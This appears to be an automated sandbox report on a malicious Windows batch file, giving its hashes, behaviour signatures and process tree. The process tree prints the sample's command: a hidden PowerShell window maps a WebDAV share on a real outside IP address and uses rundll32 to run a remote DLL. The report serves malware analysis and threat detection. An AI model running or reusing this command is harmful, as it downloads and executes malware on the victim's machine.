Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    13/07/2024, 15:15

General

  • Target

    3073719556276518656.bat

  • Size

    2KB

  • MD5

    a0077fc67ce338b271281c0b0382134e

  • SHA1

    6e5fc687557d4d43b3f8677ab064d87fad0aa984

  • SHA256

    ccf93f05a78734f7e2d832d8fd480a3b990cb756a8a93e7439add669e2b4e815

  • SHA512

    eb53ccaa215536d31366f781094889f4950bb0fe69143a5755067252468bf81c2660ce82c67175727f1157b5bd898c523bee3fe6dffee79fc2507cedaba2b584

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\3073719556276518656.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2352
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:1664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2277.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2812
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2277.dll entry
          3⤵
            PID:2752

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2072-23-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

        Filesize

        2.9MB

      • memory/2072-24-0x0000000001E10000-0x0000000001E18000-memory.dmp

        Filesize

        32KB

      • memory/2352-16-0x00000000022E0000-0x00000000023E0000-memory.dmp

        Filesize

        1024KB

      • memory/2352-17-0x00000000022E0000-0x00000000023E0000-memory.dmp

        Filesize

        1024KB